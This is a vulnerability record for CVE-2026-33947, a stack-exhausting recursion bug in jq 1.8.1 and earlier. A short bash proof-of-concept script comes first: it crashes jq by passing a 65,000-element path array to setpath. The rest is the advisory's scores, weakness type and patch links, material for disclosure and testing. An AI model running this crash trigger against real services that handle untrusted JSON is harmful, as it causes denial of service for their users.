CVE-2026-33947

#!/bin/bash # Generate a malicious JSON array with ~65,000 integers # This payload size is approx 200KB python3 -c "print(list(range(65000)))" > payload.json # Trigger the vulnerability using jq's setpath function # The large array causes unbounded recursion in jv_setpath() # leading to a Segmentation Fault (SIGSEGV) echo "Testing CVE-2026-33947..." jq -n --argfile p payload.json 'setpath($p; "value")' || echo "Process crashed as expected"

{"cve": {"id": "CVE-2026-33947", "sourceIdentifier": "[email protected]", "published": "2026-04-13T22:16:29.157", "lastModified": "2026-04-21T23:57:19.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "jq is a command-line JSON processor. In versions 1.8.1 and below, functions jv_setpath(), jv_getpath(), and delpaths_sorted() in jq's src/jv_aux.c use unbounded recursion whose depth is controlled by the length of a caller-supplied path array, with no depth limit enforced. An attacker can supply a JSON document containing a flat array of ~65,000 integers (~200 KB) that, when used as a path argument by a trusted jq filter, exhausts the C call stack and crashes the process with a segmentation fault (SIGSEGV). This bypass works because the existing MAX_PARSING_DEPTH (10,000) limit only protects the JSON parser, not runtime path operations where arrays can be programmatically constructed to arbitrary lengths. The impact is denial of service (unrecoverable crash) affecting any application or service that processes untrusted JSON input through jq's setpath, getpath, or delpaths builtins. This issue has been addressed in commit fb59f1491058d58bdc3e8dd28f1773d1ac690a1f."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jqlang:jq:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.8.1", "matchCriteriaId": "2026D0D9-8A88-43D4-9995-CF7928D9FFB8"}]}]}], "references": [{"url": "https://github.com/jqlang/jq/commit/fb59f1491058d58bdc3e8dd28f1773d1ac690a1f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/jqlang/jq/security/advisories/GHSA-xwrw-4f8h-rjvg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/16/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}, {"url": "https://github.com/jqlang/jq/security/advisories/GHSA-xwrw-4f8h-rjvg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}